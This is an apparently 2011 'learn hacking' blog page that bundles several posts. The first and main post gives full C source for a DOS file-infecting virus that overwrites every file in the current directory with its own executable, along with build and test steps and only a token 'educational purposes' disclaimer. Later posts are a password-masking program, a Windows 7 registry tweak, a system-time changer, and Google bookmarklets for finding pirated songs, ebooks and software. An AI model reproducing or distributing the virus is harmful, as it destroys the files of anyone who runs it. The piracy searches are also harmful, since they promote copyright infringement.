Tuesday 14 June 2011

Create Virus in C



This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Here’s the source code of the virus program.
#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %sn”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SECn”,
(end-st)/CLK_TCK);
getch();
}

COMPILING METHOD:

USING BORLAND TC++ 3.0 (16-BIT):
1. Load the program in the compiler, press Alt-F9 to compile
2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)
3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)
4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)
5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect
USING BORLAND C++ 5.5 (32-BIT) :
1. Compile once,note down the generated EXE file length in bytes
2. Change the value of X in source code to this length in bytes
3. Recompile it.The new EXE file is ready to infect

HOW TO TEST:

1. Open new empty folder
2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)
3. Run the virus EXE file there you will see all the files in the current directory get infected.
4. All the infected files will be ready to reinfect
That’s it.
WARNING: FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD OR MISUSE THIS VIRUS CODE

C Program to accept a password


This is a simple login program in C. While accepting password it masks each character using ‘*’ symbol and display the password in the next line after the user hits Enter key. It also accepts backspaces and acts accordingly.
#include<stdio.h>
#include<conio.h>
char pw[25],ch;
int i;
void main()
{
clrscr();
puts(“Enter password”);
while(1)
{
if(i<0)
i=0;
ch=getch();
if(ch==13)
break; /*13 is ASCII value of ENTER*/
if(ch==8) /*ASCII value of BACKSPACE*/
{
putch(‘b’);
putch(NULL);
putch(‘b’);
–i;
continue;
}
pw[i++]=ch;
ch=’*’;
putch(ch);
}
pw[i]=’?;
printf(“nn%s”,pw);
getch();
}

How to Speed up Startup Process in Windows 7


Nowdays most of the people use Windows 7. Though it is much better than the previous version of windows like Windows XP and Windows Vista both in speed and performance but still its speed and performance can be improved.
In this post I will tell you How to Speed up Your Windows 7 Performance
If you run a lot of applications and you think that your Windows 7 has a slow startup, here is another way to speed up Windows 7 boot by enabling the Boot-Only fetching feature.

1. Click Start.
2. Go to the Search programs and files textbox, type regedit.
3. Click Regedit.exe
4. If the UAC window appears, click Yes.
5. In the registry, locate this subkey: Hkey_LOCAL_MACHINE SYSTEMCurrentControlSet ControlSessionManagerMemoryManagement PrefetchParameters.
6. In the right pane, double-click EnablePrefetcher.
7. Change the value to 2 and click OK.
8. In the right pane, double-click EnableSuperfetch.
9. Change the value to 2 and click OK.
10. Exit the registry and restart your computer for the changes to take effect.
11. Next time you turn on your computer, the prefetcher will reserve more resources to the booting process instead of booting and application launching.
I hope it helped. Feel free to pass on comments.

C Program to Set / Change current system date


This program can be used to set or change the system time
#include <stdio.h>
#include <dos.h>
int main(void)
{
struct time t;
gettime(&t);
printf(“The current hour is: %dn”, t.ti_hour);
printf(“The current min is: %dn”, t.ti_min);
printf(“The current second is: %dn”, t.ti_sec);
/* Add one to the hour,minute & sec struct element and then call settime */
t.ti_hour++;
t.ti_min++;
t.ti_sec++;
settime(&t);
printf(“The current hour is: %dn”, t.ti_hour);
printf(“The current min is: %dn”, t.ti_min);
printf(“The current second is: %dn”, t.ti_sec);
return 0;
}

How to Hack Google Search


Hey guyz this time Learn Hacking has brought something very new for you guyz. Its something you won’t find so easily. Have you ever wondered if you could Hack Google Search, well in this post we are exactly going to do the same.
I am using simple Javascript that I wrote. In my next post I would be providing the explaination for the same along with bookmarklets for the same. If you don’t know much about “What is a bookmarklet” and “what is the use of a bookmarklet” then you may google it.
Now back to topic, about the java scripts.. In this post I would be providing only 5 java scripts which you can use to download Songs , Ebooks , Images , Applications and Games. Though I have made scripts for many more things but right now I would be writing about the most commonly used ones.

NOTE:- To use the Javascript , Just copy the code and paste it in the address bar of your browser ( the same plzce where you enter the url of any site) and press Enter.
Its as simple as that.

Script 1 :- Download any Song
javascript:Qr=”;if(!Qr){void(Qr=prompt(‘http://learnhacking.in/’,'ENTER ARTIST OR SONG NAME:’,”))};if(Qr)location.href=’http://www.google.com/search?q=%22parent+directory%22+%22‘+escape(Qr)+’%22+mp3+OR+wma+OR+ogg+-html+-htm&num=100&hl=en&lr=&ie=UTF-8&oe=UTF-8&safe=active&sa=N’
Script 2 :- Download any Ebook
javascript:Qr=”;if(!Qr){void(Qr=prompt(‘http://learnhacking.in/’,'Enter Author name OR Book name:’,”))};if(Qr)location.href=’http://www.google.com/search?q=%22parent+directory%22+%22‘+escape(Qr)+’%22+pdf+OR+rar+OR+zip+OR+lit+OR+djvu+OR+pdb+-html+-htm&num=100&hl=en&lr=&ie=UTF-8&oe=UTF-8&safe=active&sa=N’
Script 3 :-D ownload any Image
javascript:Qr=”;if(!Qr){void(Qr=prompt(‘http://learnhacking.in/’,'ENTER IMAGE NAME:’,”))};if(Qr)location.href=’http://www.google.com/search?q=%22parent+directory%22+%22‘+escape(Qr)+’%22+jpg+OR+png+OR+bmp+-html+-htm&num=100&hl=en&lr=&ie=UTF-8&oe=UTF-8&safe=active&sa=N’
Script 4:- Download any Application
javascript:Qr=”;if(!Qr){void(Qr=prompt(‘http://learnhacking.in/’,'ENTER Application NAME:’,”))};if(Qr)location.href=’http://www.google.com/search?q=%22parent+directory%22+%22‘+escape(Qr)+’%22+exe+OR+rar+OR+zip+-html+-htm&num=100&hl=en&lr=&ie=UTF-8&oe=UTF-8&safe=active&sa=N’
Script 5:- Download any Game
javascript:Qr=”;if(!Qr){void(Qr=prompt(‘http://learnhacking.in/‘,’ENTER GAME NAME:’,”))};if(Qr)location.href=’http://www.google.com/search?q=%22parent+directory%22+%22‘+escape(Qr)+’%22+exe+OR+iso+OR+rar+-html+-htm&num=100&hl=en&lr=&ie=UTF-8&oe=UTF-8&safe=active&sa=N’
Well this is one cool script that will help you in your everyday life. Just enjoy and keep learning Ethical Hacking.:-)
And make sure that you subscribe to Learn to Hack from Learn Hacking and get regular updates on your email id..:)